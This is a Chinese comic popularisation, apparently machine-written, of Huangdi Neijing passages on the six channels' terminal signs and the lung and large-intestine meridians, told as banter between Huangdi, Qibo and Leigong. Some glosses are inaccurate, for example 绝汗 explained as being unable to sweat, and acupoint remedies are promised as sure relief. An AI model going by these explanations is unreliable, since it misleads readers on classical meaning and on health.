黄帝点了点头，神色也变得严肃起来：“岐伯说得在理，咱们不能因为症状有趣就忽视了背后的健康问题。看来，我得让御医们多关注这方面的病症，及时调理，让百姓们都能拥有一个健康、快乐的身体。” 岐伯也跟着笑了笑，但马上又严肃起来：“不过啊，笑归笑，这太阳之脉的终极奥义可还没完呢。接下来，这人就会出现‘瘈瘲’的症状，就是身体会时不时地抽搐、痉挛，就像是被电了一下似的。这其实是因为身体里的阳气已经所剩无几，连最基本的肌肉控制都做不到了。” 黄帝点了点头，一脸认真地说：“嗯，这瘈瘲看起来确实挺吓人的，不过话说回来，这些症状要是真的出现了，恐怕也没几个人还有心情笑了吧。” 岐伯叹了口气，表示赞同：“是啊，这些症状一旦出现，就说明这人的生命已经走到了尽头。而且啊，还有一个更明显的标志，就是他的脸色会变得苍白无色，就像是被漂白过一样。这其实是身体里的气血都已经耗尽了，连最基本的肤色都维持不住了。” 黄帝皱了皱眉：“那这‘绝皮乃绝汗’又是什么意思呢？” 岐伯解释道：“这绝皮啊，就是说皮肤已经失去了弹性，变得干瘪、枯萎，就像是秋天的树叶一样。而绝汗呢，就是这人已经出不出汗来了，哪怕是天气再闷热，他也一滴汗都流不出来。这其实是身体里的津液都已经耗干了，连最基本的排汗功能都做不到了。” 黄帝听了，不禁感叹道：“唉，这太阳之脉的终极奥义，听起来还真是让人心生敬畏啊。那这么说来，一旦出现了这些症状，这人就真的是没救了？” 岐伯摇了摇头：“是啊，一旦出现了这些症状，就说明这人的生命之火已经快要熄灭了。不过话说回来，咱们中医讲究的是预防为主，要是平时能多注意保养身体，别让太阳之脉走到这一步，那岂不是更好吗？” 黄帝点了点头，若有所思地说：“嗯，你说得对。预防总是胜于治疗的。那咱们平时应该怎么保养身体，才能避免太阳之脉走到这一步呢？” 岐伯笑了笑，开始传授起了养生秘籍：“其实啊，保养身体也不难。首先就是要作息规律，别熬夜、别过度劳累；其次就是要饮食均衡，多吃蔬菜水果、少吃油腻辛辣；再就是要适当运动，增强身体免疫力；最后就是要保持心情愉悦，别给自己太大压力。只要做到了这些，咱们的身体就能健健康康的，太阳之脉也就不会轻易走到尽头啦！” 黄帝听了，连连点头：“嗯，你说得很有道理。看来我以后也得多注意保养身体了，不然哪天要是真的出现了这些症状，那可就真的哭都来不及了！” 岐伯拍了拍黄帝的肩膀：“哈哈，你放心吧！只要你按照我说的去做，保证你能活得健健康康、开开心心的！” 黄帝悠闲地坐在龙椅上，手中把玩着玉简，一脸好奇。岐伯则是一副仙风道骨的模样，手持羽扇，缓缓步入大殿。 黄帝一脸八卦道：“岐伯啊，我这心里头啊，总是有个疙瘩解不开。你说，这少阳终者，究竟是个啥道理呢？咱能不能聊聊，也让我这皇帝长长见识？” 岐伯故作高深，轻摇羽扇道：“哎呀，陛下啊，您这问题可真是有水平！少阳终者，这可是中医里的大学问呢。不过，既然陛下有兴趣，臣自然知无不言，言无不尽啦！” 黄帝兴奋地拍了拍龙椅扶手，说道：“好！那咱就开讲吧！” 岐伯清了清嗓子，开始娓娓道来：“这少阳啊，在中医五行里属木，对应的是咱们人体的胆和三焦。少阳之气，那可是生机勃勃，跟春天里的小草似的，嗖嗖地往上长。但是呢，万物都有个生老病死，少阳之气也不例外。” 黄帝点头如捣蒜：“对对对，这点我懂，就像花儿开了总会谢嘛。” 岐伯微笑道：“陛下真是聪慧过人。那咱接着说啊，这少阳之气要是衰竭了，那就叫少阳终。这时候啊，人体就会出现一系列的症状啦。” 黄帝一脸紧张道：“啥症状？快说说！” 岐伯故作神秘地说：“首先啊，耳朵就开始听不见了。你想啊，少阳之气跟胆有关，胆经绕耳朵一圈，少阳衰了，耳朵自然就不灵光啦。这就像手机没电了，信号就不好一样。” 黄帝恍然大悟道：“哦，原来如此！那接下来呢？” 岐伯继续讲道：“接下来啊，更严重了！人体的百节，也就是全身的关节啊，都会变得松软无力，像面条一样。为啥呢？因为少阳之气是咱们身体的活力源泉啊，它一衰竭，身体自然就软绵绵的啦。” 黄帝做出夸张的姿势：“哇，那岂不是成了软体动物了？” 岐伯大笑：“哈哈，陛下真是幽默！不过啊，这还没完呢。少阳终者啊，还会出现目系绝的症状。” 黄帝挠了挠头，一脸困惑地问道：“目系绝？这词儿听着怎么这么玄乎呢？岐伯，您给咱细细说说，这到底是啥玩意儿？” 岐伯捋了捋长髯，笑眯眯地解释道：“这目系啊，可不是什么玄妙的玩意儿，它其实就是咱们眼睛的‘电线’——视神经嘛！您想啊，咱们的眼睛就像是一台超级高级的相机，得靠这些‘电线’把看到的美景传输到大脑里，咱们才能欣赏到世间的五彩斑斓。” 黄帝一听，眼睛一亮，笑道：“哦，这么说来，目系就像是电脑的数据线了？那要是这‘数据线’坏了，眼睛不就成瞎子了？” 岐伯点了点头，赞许地说：“陛下真是聪慧过人，一点就透。没错，要是目系出了问题，那可真是麻烦大了。在中医里，咱们讲究的是阴阳平衡，五行相生相克。少阳之气，那可是跟眼睛有着千丝万缕的联系呢！” 黄帝眨巴眨巴眼睛，好奇地问：“少阳之气？这又是个啥？听起来像是武侠小说里的内功心法。” 岐伯忍俊不禁，笑道：“陛下真是幽默。这少阳之气啊，其实是中医理论中的一个概念，它代表着一种阳刚之气，跟咱们身体的健康息息相关。少阳之气要是足了，眼睛就明亮有神，反之呢，要是衰竭了，视神经就会受损，眼睛可就看不见啦。” 黄帝轻轻摇头，脸上写满了惋惜，悠悠地叹了口气：“唉，真是命运弄人啊，目系一绝，那简直就是生命的烛火在风中摇曳，岌岌可危啊！来来来，岐伯先生，您再给朕细细说说，这目系绝了之后，究竟是个啥光景？” 岐伯捋了捋花白的胡须，神色变得异常凝重，仿佛每一根胡须都承载着千年的智慧：“陛下啊，目系，那可是连接人体脏腑与眼睛的桥梁，一旦这桥梁断了，生命力就像断了线的风筝，摇摇欲坠了。目系绝之后，不出一天半的光景，人恐怕就得踏上那奈何桥了。” 黄帝一听，眉头紧锁：“这么快？那临终之时，又有何异象呢？” 岐伯缓缓道：“到了那会儿啊，人的脸色会变得青白如纸，那可是少阳之气，也就是咱们体内的那股子生机与活力，彻底消散的表现。就像春天的嫩叶突然遭遇了寒冬，一下子就蔫儿了。所以啊，您看，中医讲究望闻问切，这望诊里头，脸色可是大学问呢！人这一辈子啊，还是得好好保养，别等到少阳之气散尽，那时候再后悔，可就来不及了哟！” 黄帝唏嘘不已：“真是人生无常啊。那，岐伯啊，咱们中医有没有什么办法能预防或者延缓这种情况呢？” 岐伯点头：“当然有啦！中医讲究的是治未病，也就是提前预防。要想预防少阳终者的情况啊，关键是要调养好少阳之气。” 黄帝眼睛一亮：“怎么调养？快说说！” 岐伯开始传授秘籍：“首先啊，得保持心情愉快，别老生气发火。为啥呢？因为怒伤肝啊，肝跟少阳之气是相生的。你一生气，肝就受伤，少阳之气也跟着倒霉啦。” 黄帝点头道：“嗯，这个我懂，就是别找气受嘛。” 岐伯继续传授：“其次啊，得注意饮食。多吃些清淡的食物，像蔬菜、水果啥的。少吃油腻、辛辣的东西，免得给身体增加负担。” 黄帝做出努力吞咽的样子：“哎呀，我这嘴馋的毛病可得改改了。” 岐伯笑道：“陛下能这么想，那真是太好了。还有啊，别忘了适量运动。运动能疏通经络，增强气血运行，对调养少阳之气大有裨益。” 终始篇第九（十） 黄帝吃饱喝足，闲着也是闲着，就对身边那位医术高超、满腹经纶的岐伯说：“嘿，岐伯，咱俩聊聊那个‘阳明终者’的学问咋样？我听说这里面学问大了去了，咱们给大伙儿普及普及，说不定还能上热搜呢！” 岐伯一听，眼睛一亮，心想：这话题有意思，既能卖弄学问，又能逗乐大众，何乐而不为呢？于是，他清了清嗓子，摆出一副说书先生的架势，缓缓道来： “要说这‘阳明终者’啊，咱们得先搞清楚啥是阳明。在中医的世界里，阳明经就像是人体里的超级高速公路，负责运输能量和气血，保证咱们每天生龙活虎的。阳明经分为手阳明大肠经和足阳明胃经，一个管排泄，一个管吃喝，俩兄弟联手，让人体的消化系统运转得溜溜转。” 黄帝听得津津有味，催促道：“快说说，这阳明要是‘终’了，会咋样？是不是就像电脑死机，系统崩溃那样？” 岐伯哈哈一笑：“您这比喻，倒是形象得很。不过呢，‘阳明终者’可不是简单的系统崩溃，它是中医里对阳明经功能严重衰退或病变到晚期的描述。想象一下，如果阳明这条高速公路堵得严严实实，气血运行不畅，那问题可就大了去了。” “首先啊，你会看到人的口目开始‘跳舞’，不是真的跳舞哈，是嘴巴会不自觉地动，眼睛也可能眨个不停，就像是眼睛在说：‘主人，我累了，想休息！’但大脑却不听使唤，这就是阳明经气血紊乱的表现。” 黄帝插话道：“那岂不是很像熬夜加班后的我？” 岐伯点头笑道：“没错，但比那严重多了。阳明终者还会出现‘喜惊’的症状，就是容易受到惊吓，一点点风吹草动都能让他/她吓得跳起来。还有‘妄言’，就是说话没头没尾，语无伦次，好像大脑里的Cpu烧坏了，开始胡言乱语。” 黄帝听得乐不可支：“这画面，想想就让人捧腹。那‘色黄’又是咋回事？” 岐伯解释道：“色黄，是指人的脸色发黄，这是因为阳明经与脾胃紧密相关，脾胃不好，气血生化无源，脸色自然就不好看了。就像地里的庄稼缺水缺肥，叶子肯定发黄嘛。所以，看到一个人脸色蜡黄，咱们就得留神了，说不定他/她的阳明经已经在敲警钟了。” “至于‘其上下之经盛而不行’，说的是阳明经附近的经络，比如小肠经、膀胱经这些，也因为阳明经的衰败而受到影响，气血瘀滞，无法正常流通。这就像城市里的交通瘫痪，主干道堵了，周边的小路也跟着堵，整个城市就乱套了。到了这一步，如果还不及时调理，那可真就是‘终’了，也就是病情到了难以挽回的地步。” 黄帝听完，感慨万千：“原来这阳明终者，是身体给我们发出的最后警告啊！那有没有什么预防或者调理的方法呢？” 岐伯微微一笑：“当然有啦！首先，饮食得规律，别暴饮暴食，让阳明经的‘运输队’别太辛苦。其次，适度运动，促进气血循环，给阳明经加油打气。还有，保持乐观心态，别让压力和焦虑伤了脾胃。最重要的是，定期体检，一旦发现异常，及时就医，别让小病变大病。” 黄帝闲来无事，就琢磨起人体那些深奥的奥秘来。他捋了捋下巴上那几根稀疏的胡子，自言自语道：“哎，我这心里头啊，老是有个疙瘩解不开，就是想知道那少阴终者到底是咋回事儿？” 这黄帝可是个好学之人，虽然贵为帝王，但对中医之道那是痴迷得紧。这不，他话音刚落，岐伯就像被召唤似的，悠悠然出现在了他的面前，一脸淡定地说：“哟，黄帝，您这又是琢磨啥高深莫测的问题呢？” 黄帝一看岐伯来了，眼睛立马就亮了，连忙拱手道：“岐伯大神啊，你可来了！我这不正纳闷呢，少阴终者到底是个啥情况？你给我讲讲呗。” 岐伯一听，哈哈一笑，说道：“这事儿啊，说来话长，不过既然你问了，那我就给你细细道来。” 岐伯清了清嗓子，开始了他那充满智慧的讲解：“少阴终者啊，那可是个不太妙的状况。咱们先说这面黑吧，这可不是说你晒黑了或者熬夜熬出来的黑眼圈，而是整个脸色都黑得跟锅底似的。为啥呢？因为少阴啊，它跟肾关系紧密，肾主水，又藏精，这精啊，可是咱们身体的宝贝疙瘩。少阴终了，肾精亏虚，水液代谢失常，黑色素就一股脑儿地往脸上涌，结果就成了‘包青天’第二了。” 黄帝一听，忍不住扑哧一笑，心想：“这岐伯讲解起来还真是风趣。” 岐伯接着说道：“再来说说这齿长而垢吧。你可别误会，这可不是说你的牙齿一夜之间长长了，而是牙齿因为失去了肾精的滋养，变得干枯无泽，看起来就像是变长了一样。而且啊，这牙齿上还容易堆积污垢，刷都刷不掉，就跟常年不刷牙的老烟枪似的。” 黄帝听了，更是笑得前仰后合，心想：“这岐伯，还真是能把深奥的中医理论讲得这么接地气。” 岐伯也不在意黄帝的笑声，继续他的讲解：“还有那腹胀闭塞，上下不通的症状。少阴啊，它还跟咱们的脾胃有联系。少阴终了，脾胃功能受损，气机不畅，食物残渣和废气就堵在肚子里排不出去，结果就成了个‘大气球’。这肚子胀得啊，连走路都得小心翼翼的，生怕一不小心就给撑破了。” 黄帝一听，更是乐不可支，说道：“岐伯大神啊，你这讲解真是太生动了！不过话说回来，这少阴终者到最后会怎么样呢？” 岐伯叹了口气，说道：“哎，说到这最后啊，那就是终结了。少阴终者，因为身体各脏器功能严重受损，生命之火逐渐熄灭，最终就只能无奈地告别这个世界了。” 黄帝一脸好奇地问：“嘿，岐伯老弟，今儿个咱们不聊五行八卦，也不侃阴阳调和，朕就想问问，那个厥阴终者，到底是个啥玩意儿？听起来挺玄乎的。” 岐伯微微一笑，羽扇轻摇：“哎哟喂，皇上您这可是问到点子上了。这厥阴终啊，可是中医里的大学问，不过咱们今天不讲枯燥的理论，咱们来点幽默的，让您听得乐呵乐呵，还能学到真东西！” 岐伯故作神秘：“首先啊，这厥阴终者，一开始呢，就像是身体里突然燃起了一把无名火，中热嘛，就是心里头热得跟吃了辣椒似的，还别说，这股火还能烧到嗓子眼儿，嗌干，就是喉咙干得跟旱地的裂缝一样，喝水都不解渴。” 黄帝瞪大眼睛：“哟呵，这火势不小啊！那喜溺又是咋回事？” 岐伯笑得前俯后仰：“哈哈，喜溺啊，就是老想往厕所跑，跟那尿急的毛头小子似的。您想啊，这火一大，水分不就蒸发得快嘛，膀胱里的那点存货，自然就待不住了，得赶紧找个出口释放释放。” 黄帝若有所思：“嗯，这么一说，朕好像有点懂了。那心烦呢？是不是就像朕批阅奏折时，看到一堆烦心事那种感觉？” 岐伯点头如捣蒜：“对对对，皇上您真是聪明绝顶！这心烦啊，就像是心里头有一群小蜜蜂在嗡嗡嗡地转，吵得你不得安宁。更有趣的是，这火要是再旺点，舌头都得跟着遭殃，舌卷，就是舌头干燥得跟被烤干了似的，卷起来，说话都不利索了，到时候，您就是想骂人，都得费老鼻子劲了。” 黄帝一听“卵上缩”这个词，眼睛瞪得跟铜铃似的：“哎呀妈呀，这也太劲爆了吧！这厥阴病到最后，连咱们最宝贵的‘小火炉’都不打算放过了吗？” 岐伯见状，微微一笑，羽扇轻摇，摆出一副老神在在的模样：“皇上您别急，这事儿啊，得从咱中医的阴阳理论说起。您想啊，咱们的身体啊，它就像个精心调校的小火炉，得靠阴阳平衡才能正常运转。阳气呢，就好比炉子里的火，得烧得旺旺的，但也不能太过头，不然水烧干了，炉子可就报废了。” “至于这卵上缩嘛，其实是身体在向我们发出警报呢！它说：‘嘿，哥们儿，阳气太旺了，再这么烧下去，我这炉子可就要炸裂了！’所以啊，身体为了自保，赶紧把阳气往回收，把‘小火炉’的炉门关小点儿，省得元气泄露，整个人都得烧成灰烬了。” 黄帝笑得合不拢嘴：“哈哈，岐伯你这解释，真是绝了！这么说来，这厥阴终者，简直就是一场身体内部的‘火灾救援行动’啊！” 岐伯收起笑容，认真起来：“皇上说得没错，虽然咱们今天是用幽默的方式聊了这个话题，但中医的智慧，可不容小觑。厥阴终者，其实是身体阴阳失衡的一种极端表现，提醒我们要注意调节饮食，保持心情愉悦，避免过度劳累，这样才能让身体这部大机器运转得更加顺畅。” 黄帝眨巴眨巴眼睛，一脸好奇地问：“岐伯啊，我一直对那个‘太阴终者’挺感兴趣的，你能不能给我讲讲这背后的道理呢？” 岐伯一听，嘿，这可是个大学问啊，不过看黄帝这副求知若渴的模样，他决定来个幽默版的科普，让这位中医界的“好奇宝宝”听得津津有味。于是，岐伯清了清嗓子，开始了他的爆笑讲解。 “黄帝老弟啊，要说这‘太阴终者’，咱们得先搞清楚啥是‘太阴’。在中医里啊，太阴指的就是咱们身体的脾胃系统，它们就像是咱们身体里的‘大粮仓’，负责消化食物、吸收营养，给全身提供能量。所以啊，太阴要是出了问题，那可就麻烦大了。” 黄帝一听，眼睛瞪得圆圆的：“哦？那‘太阴终者’是啥意思呢？是不是就是脾胃系统彻底罢工啦？” 岐伯哈哈一笑：“差不多就是这个意思，但咱们得说得更玄乎点儿。‘太阴终者’，简单来说，就是脾胃系统到了它的‘生命终点’，功能严重衰竭啦。这时候啊，人会咋样呢？嘿嘿，听我慢慢道来。” “首先啊，肚子会胀得跟个大气球似的，为啥呢？因为脾胃不运化了啊，吃的东西都堵在里面，排不出去，那感觉，就像是肚子里塞了个大象！”黄帝一听，忍不住扑哧一笑，心想这岐伯真是够逗的。 “然后呢，人会憋得喘不过气来，为啥？因为脾胃和肺是亲戚啊，脾胃一罢工，肺也跟着倒霉，呼吸都不顺畅了。这时候啊，人就会不停地打嗝、呕吐，就像是身体在抗议：‘喂！你再不管管，我就要罢工啦！’” 黄帝听得津津有味，连连点头：“那呕吐之后呢？会不会好点儿？” 岐伯摇了摇头，故作神秘地说：“呕吐啊，那是身体在自救呢，但要是救不回来呢？那就糟糕了。呕吐的时候啊，气会往上冲，脸就会憋得通红，像是喝了十大碗辣椒水似的。但要是这气冲不上去呢？那就更糟糕了，上下气机不通啊，脸就会变成黑炭头，为啥？因为气血都堵在那儿啊，不通则痛，不通则黑嘛！” 黄帝一听，笑得前仰后合：“这脾胃罢工，还真是够狠的，直接给人换个肤色啊！” 岐伯也跟着笑了起来：“可不是嘛！所以啊，咱们平时啊，可得好好对待咱们的脾胃，别让它们太累了。要不然啊，它们一罢工，咱们可就惨啦！到时候啊，别说吃香的喝辣的了，连喘气都得费劲儿呢！” 黄帝一听，连忙点头：“对对对，岐伯兄说得太对了！咱们以后啊，可得好好保养脾胃，别让它们走到‘太阴终者’那一步啊！” 说到这里啊，岐伯话锋一转：“不过啊，黄帝老弟，虽然咱们平时要好好保养脾胃，但万一真的走到了那一步，也别太担心。中医啊，可是有很多办法来调理身体的。像是针灸啊、草药啊、推拿啊，都能在一定程度上帮助身体恢复功能。所以啊，咱们啊，还是得相信中医的智慧！” 经脉篇第十（一） 雷公闲着没事儿干，就跑到黄帝那儿去串门儿。雷公一去，就开口问道：“黄帝啊，我听说那本《禁脉》里头讲，要给人扎针，那可得从经脉开始，得搞清楚经脉里气血是怎么跑的，还得量量它们跑得多快多远，里面怎么连着五脏六腑的。哎，您能给我详细讲讲这其中的道理不？” 黄帝一听，哈哈一笑，说：“雷公啊雷公，你这问题问得好，咱们中医讲究的就是这个！来来来，我给你说道说道。” 黄帝清了清嗓子，开始讲起了人体的奥秘：“你知道吗，人啊，一开始的时候，就像是一颗小种子，得靠那‘精’来发芽。这‘精’啊，可不是一般的精子卵子那么简单，它是咱们生命的源头，是天地精华的结晶。这精一形成，嘿，脑袋里的脑髓、脊髓啥的就开始长了，那可是咱们的中枢神经系统，控制全身的关键。” 雷公一听，瞪大了眼睛，说：“哟，这么神奇？那接下来呢？” 黄帝接着说：“接下来啊，这骨头就开始发育了，它们就像是大树的树干一样，支撑着咱们的身体。然后，经脉就像是树干上的树枝，把气血这些营养物质输送到全身各处。筋呢，就像是树的藤蔓，让咱们的身体能伸能缩，灵活自如。肉啊，那就是树的叶子和树皮，保护着咱们的内脏器官。至于皮肤，那就是最外层的防护层了，又硬又结实，还能长出毛发来，多帅气啊！” 雷公听得连连点头，说：“对对对，这形象比喻太到位了！那气血是怎么在经脉里跑的呢？” 黄帝说：“这气血啊，就像是一条条小河，在经脉这个河道里流淌。它们从心脏出发，带着营养物质和氧气，跑遍全身。你想象一下，你吃了一碗香喷喷的米饭，那米饭一进到胃里，就开始被消化成营养，然后通过经脉这条小河，输送到全身各处。这样一来，咱们的身体就有了力气，就能干各种活儿了。” 雷公一听，恍然大悟，说：“原来如此啊！那经脉和五脏六腑又是怎么连着的呢？” 黄帝说：“这事儿啊，说来话长。不过简单来说，就是经脉就像是高速公路，五脏六腑就像是沿途的城市。你看啊，心经连着心脏，肺经连着肺，脾经连着脾，肾经连着肾，肝经连着肝，每个脏腑都有自己的经脉，就像是城市有自己的高速公路一样。这样一来，气血就能在经脉这条高速公路上畅通无阻地跑来跑去，把营养物质和氧气送到各个脏腑去。” 雷公这哥们儿，一脸好奇宝宝的样子，跑到黄帝面前，眨巴着大眼睛说：“陛下，我一直有个事儿特想知道，能不能给我讲讲经脉这玩意儿的起源啊？我这心里跟猫抓似的，痒痒得不行。” 黄帝一听，乐了，心想这雷公平时打雷打习惯了，难得有这么求知若渴的时候，便捋了捋长胡子，慢悠悠地说：“哎呀，这事儿说来话长，但既然你这么好学，那我就给你说道说道。经脉啊，它可不是一般的路，它是咱们身体里的一条条神秘高速路，决定生死、搞定百病、调节虚实全靠它。不通？那可不行，简直就是身体里的交通大堵塞，后果很严重哦！” 雷公一听，眼睛瞪得比铜铃还大：“这么神奇？那咱们这经脉高速路到底是咋来的？谁修的？二郎神吗？” 黄帝哈哈一笑，拍了拍雷公的肩膀：“二郎神？那可远了去了。经脉这事儿，得从我们老祖宗那会儿说起。想象一下，咱们老祖宗们，一个个都是智慧爆棚的发明家，他们通过观察天地万物，发现自然界有山川河流，有阴阳平衡，于是突发奇想，嘿，咱们人体里是不是也有这么一套系统呢？这一琢磨，经脉理论就这么诞生了！” “那这经脉具体是干啥的呢？”雷公追问道，一脸认真，仿佛下一秒就要变身成经脉侦探。 黄帝清了清嗓子，开始他的爆笑讲解：“好问题！经脉啊，就像是咱们身体里的快递小哥，负责把气血这些‘生命快递’送到身体的每一个角落。你想啊，要是哪个地方气血不通，那不就跟快递送不到家一样，得乱套嘛！比如说，你头疼，可能就是气血在头上的经脉堵车了；脚麻，那就是气血在脚上的经脉迷路了。所以，保持经脉畅通无阻，那就是咱们身体健康的秘诀之一啦！” 雷公听得连连点头，但又疑惑地问：“那这么多经脉，怎么记得住啊？难道要背地图吗？” 黄帝笑得差点岔气：“背地图？那倒不必，不过你得把它们想象成你熟悉的街道。比如说，十二条正经就像是城市的主干道，有名字，有方向，有固定的路线；奇经八脉呢，就像是那些连接主干道的小巷，虽然不那么显眼，但关键时刻也能起到大作用。记住这些，你就能在身体内部‘导航’了！” “哦，原来是这样！那万一经脉堵了怎么办？要不要请个经脉疏通大师来？”雷公一脸紧张地问。 黄帝摇了摇头，笑道：“经脉疏通大师？你倒想得美！其实啊，咱们自己就是最好的大师。运动、针灸、按摩、拔罐，这些都是疏通经脉的好方法。比如说，你每天跑跑步，那就是在给经脉做有氧运动；偶尔去按个摩，那就是给经脉做个深度spA。当然啦，最重要的是保持心情愉悦，因为好心情就是最好的气血调和剂，能让经脉里的气血流动得更加顺畅。” 雷公一听，恍然大悟：“原来如此！看来我以后得多动动，少生气，不然经脉一堵，我这雷公可就变成‘雷堵’了！” 黄帝听了，笑得前俯后仰：“哈哈，‘雷堵’，这词儿新鲜！不过说真的，经脉这事儿，虽然看似复杂，但只要咱们用心去了解，就会发现它其实很有趣，也很有用。毕竟，咱们的身体可是最精密的仪器，每一个部分都有它存在的意义。” 雷公这位中医界的“十万个为什么”又来找黄帝请教了。他一脸好奇地问：“黄帝啊，我这心里老有个疑问，就是那个肺手太阴之脉，它到底是怎么个走法呢？能不能给我讲讲？” 黄帝一听，哈哈一笑，说：“雷公啊，你这问题问得好！肺手太阴之脉，那可是咱们中医经络里的一条重要通道，走，我这就带你走一遍这条神奇的经络之旅！” 黄帝清了清嗓子，开始了他的讲解：“这肺手太阴之脉啊，它可是从咱们身体的中焦开始的。你想啊，中焦就是咱们肚子那块儿，脾胃啊、小肠啊都在那儿，是气血生化之源。这条经络从中焦出发，先往下走，络到大肠上，然后又拐回来，沿着胃口这儿绕了一圈。胃口啊，就是咱们胃的上口，跟食管连着的地方。这经络绕过胃口，就往上走了，穿过膈肌，跟肺连上了。这就叫‘上膈属肺’。” 雷公听得津津有味，连连点头：“原来如此，那接下来呢？” 黄帝接着说：“这经络从肺这儿出来，可不是就此罢休了。它还继续往外走，从肺系——就是咱们气管、喉咙那块儿——横着出来，腋下这儿拐了个弯儿，然后沿着咱们上臂的内侧，一路往下。它走的这条路啊，正好是少阴心经和心包经的前面。走到肘窝这儿，它也没停，继续沿着前臂的内侧，贴着尺骨的下边儿，一直走到咱们手腕这儿的寸口。寸口啊，就是咱们中医把脉的地方，也是这条经络的一个重要穴位——太渊穴。” 雷公一听，眼睛一亮：“太渊穴？这名字听着就挺有深度的，它有啥作用啊？” 黄帝笑了笑：“太渊啊，可是肺经的原穴，能补肺气、止咳平喘。你要是觉得肺气不足，老是咳嗽、气喘，按按这个穴，保管你好受多了。” 雷公赶紧拿笔记下来，生怕忘了。黄帝又接着说：“这经络从太渊这儿出来，还继续往上走呢。它沿着咱们大拇指这侧的手鱼际，一直走到大拇指的顶端，这就叫‘出大指之端’。这儿有个穴位，叫少商穴，是肺经的井穴，能清肺热、治咽喉肿痛。” 雷公一听，乐了：“这经络走得还挺有艺术感呢，绕来绕去的。那它还有没有别的分支啊？” 黄帝点点头：“当然有啦。这经络还有一条支脉，从手腕这儿直接出来，沿着咱们食指的内侧，也走到食指的顶端。这条支脉啊，虽然不长，但作用可不小。它能帮咱们疏通经络，缓解手指的麻木、疼痛。” 雷公听得连连点头，突然又想到了什么：“黄帝啊，这经络要是出问题，人会咋样啊？” 黄帝叹了口气：“唉，要是这经络出问题，那可就不好受了。它会让人肺胀满、气喘咳嗽，胸口这块儿——就是缺盆这儿——还会疼。严重的时候啊，两只手都会交叉着，人还会觉得头晕目眩，这就是所谓的‘臂厥’。所以啊，咱们平时得多注意保养这条经络。” 雷公一听，吓得一缩脖子：“这么严重啊！那要是肺有病了，这条经络上会有啥表现呢？” 黄帝摸了摸胡子：“肺有病了，这条经络上就会有反应。比如咳嗽、气喘、口渴、心烦、胸口闷、上臂内侧前边儿疼，还有手掌心发热。要是经络里的气太盛了，还会让人觉得肩背疼，容易受风寒，出汗多，小便次数也多。要是经络气虚了，那肩背也会疼，还会觉得冷，气不够用，小便颜色也会变。” 雷公一听，赶紧问：“那要是经络出问题，咱们该怎么治呢？” 黄帝老师笑了笑：“这你就问对人啦。要是经络气盛，咱们就用泻法，把多余的气给泄出去；要是经络气虚，咱们就用补法，给它补补气。要是经络里有热，咱们就扎针扎得快一点儿，把热给散出去；要是经络里寒，咱们就把针留久一点儿，让它暖和暖和。要是经络陷下去了，咱们就用灸法，给它灸一灸。要是经络不盛也不虚，那咱们就按经络的循行路线来取穴治疗。” 雷公一听，眼睛又亮了：“黄帝啊，那你能不能告诉我，怎么判断经络是盛还是虚啊？” 黄帝老师指了指雷公的手腕：“你看啊，要是经络盛，寸口这儿的脉搏就会比人迎穴的脉搏大三倍；要是经络虚呢，寸口这儿的脉搏就会比人迎穴的脉搏小。” 雷公一听，恍然大悟：“原来如此啊！黄帝啊，你这一讲，我可是全明白了！谢谢你啊！” 黄帝老师摆摆手：“不用谢啦。雷公啊，你要记住啊，中医这门学问啊，博大精深，咱们得活到老学到老啊！” 雷公连连点头，心里暗暗发誓：一定要好好钻研中医，成为一名出色的中医大夫！ 话说到这里，咱们再来聊聊这条肺手太阴之脉上的几个重要穴位吧。除了刚才提到的太渊穴和少商穴，还有鱼际穴、列缺穴等等，每一个穴位都有它独特的功效和作用。 比如鱼际穴吧，它就在咱们大拇指这侧的手鱼际上，是个清热利咽的好穴位。你要是觉得咽喉肿痛、声音嘶哑，按按这个穴，就能得到缓解。而且啊，这个穴位还能增强咱们的心肺功能，让你呼吸更顺畅、更有劲儿！ 再来说说列缺穴吧，它可是肺经的络穴，能联络表里两经的气血。你要是觉得咳嗽、气喘、头痛、项强，按按这个穴，就能舒服多了。而且啊，这个穴位还能治疗咱们的手腕疼痛、麻木等问题呢！ 当然了，这些穴位可不是孤立的存在的。它们就像是经络上的一颗颗珍珠，串联起来就形成了一条完整的经络。而这条经络啊，就像是咱们身体里的一条高速公路，负责运输气血、营养物质和代谢废物。所以啊，咱们平时得多注意保养这条经络和这些穴位哦！ 经脉篇第十（二） 话说有一天，雷公心血来潮，对黄帝说：“嘿，黄帝啊，我一直对咱们身体里的那些经络挺感兴趣的，特别是大肠手阳明之脉，你能不能给我讲讲它的来龙去脉啊？” 黄帝一听，心里暗笑：这雷公还真是好学啊！于是，他清了清嗓子，开始娓娓道来：“好嘞，雷公，您听好了！这大肠手阳明之脉啊，它可是个有头有尾、有始有终的家伙。它起源于咱们大拇指旁边的食指尖端，对，就是那个我们经常用来指指点点的食指尖儿。” 雷公一听，眼睛一亮：“哦？这么说来，这大肠经还挺接地气的嘛！” 黄帝笑了笑，继续讲道：“没错，它确实是从咱们日常生活中最常用的手指开始的。然后啊，这条经络就顺着食指的内侧边缘往上走，走到手掌和手背的交界处，也就是咱们常说的‘合谷穴’那儿。您知道合谷穴吗？就是那个咱们一使劲按就会感到酸酸涨涨的地方，俗称‘万能穴’，头疼脑热、牙疼啥的，按按它都能缓解。” 雷公点了点头：“嗯，这个我知道，合谷穴嘛，我经常让人帮我按按，确实挺管用的。” 黄帝接着说：“对，从合谷穴出来，大肠经就继续往上走，穿过手背的两根骨头之间，进入手臂的外侧前缘。它一路高歌猛进，经过肘关节的外侧，再往上走到肩膀的外侧前缘，最后穿过肩膀的顶端，也就是咱们说的‘肩髃穴’。这个肩髃穴啊，可是治疗肩周炎、肩膀酸痛的宝地哦！” 雷公听得津津有味：“哎呀，这么说来，这大肠经还真是个‘攀登高手’啊，一路往上窜！” 黄帝笑着回答：“没错，它可不止往上窜那么简单。从肩髃穴出来，它还会继续往上走，穿过脖子的后面，到达后脑勺的下方，也就是咱们中医说的‘天柱骨’那儿。然后啊，它会拐个弯儿，进入咱们胸前的‘缺盆’部位，也就是锁骨上窝那儿。在这儿，它会跟咱们的肺脏联络联络感情，再往下穿过膈肌，最终归宿到大肠里。” 雷公一听，恍然大悟：“哦，原来如此！那它还有没有别的分支呢？” 黄帝点了点头：“当然有啦！从缺盆那儿，大肠经还会分出一条支脉，这条支脉会上行到咱们的脖子上，穿过脸颊，进入下齿槽，再从嘴唇旁边绕出来，经过人中沟，交叉到对侧去。最后啊，它会沿着鼻子的外侧往上走，到达鼻翼旁边的‘迎香穴’。这个迎香穴啊，可是治疗鼻塞、流鼻涕的绝招哦！” 